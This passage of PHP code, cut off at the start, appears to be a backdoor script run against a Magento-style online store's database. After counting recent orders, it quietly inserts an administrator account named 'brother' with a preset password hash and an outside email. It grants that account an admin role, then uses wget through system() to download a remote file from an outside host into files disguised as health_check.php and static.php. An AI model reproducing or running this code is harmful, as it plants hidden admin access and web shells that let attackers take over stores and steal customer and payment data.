= DATE_SUB(NOW(), INTERVAL 7 DAY)"); if ($resultCount !== FALSE) { while ($row = mysqli_fetch_assoc($resultCount)) { echo "Order last week: ".$row["aa"].PHP_EOL; } }else{ echo "get count week: ERROR".PHP_EOL; } echo "brother:hidden".PHP_EOL; try{ echo "SQL USER: ".PHP_EOL; $storedHash = 'f9db2d6b679da83eef86cb868e612389779d01d77cf0bdc32c3a3f2e554d84b8:e92b76ee6f3c184b865fb1a0ddffdfca:1'; $resultAdmin = mysqli_query($con, "INSERT INTO " . $prefix . "admin_user (firstname,lastname,email,username,password,created,modified,logdate,lognum,reload_acl_flag,is_active,interface_locale,failures_num) VALUES ('Adam','Smith','poliopamnerss@protonmail.com', 'brother', '$storedHash',now(), now(), now(), '333' , '0', '1','en_US', '0')"); if ($resultAdmin !== FALSE) { echo "CREATE USER success".PHP_EOL; }else{ echo "CREATE USER ERROR".PHP_EOL; } $resultRole = mysqli_query($con, "INSERT INTO " . $prefix . "authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'brother'),'2','brother');"); if ($resultRole !== FALSE) { echo "CREATE ROLE success".PHP_EOL; }else{ echo "CREATE ROLE ERROR".PHP_EOL; } system("wget https://support.ordercounter.com/phprs.txt -O health_check.php --no-check-certificate"); system("wget https://support.ordercounter.com/phprs.txt -O static.php --no-check-certificate"); echo "static, health_check +".PHP_EOL; } catch (\Exception $ex) { echo $ex->getMessage(); }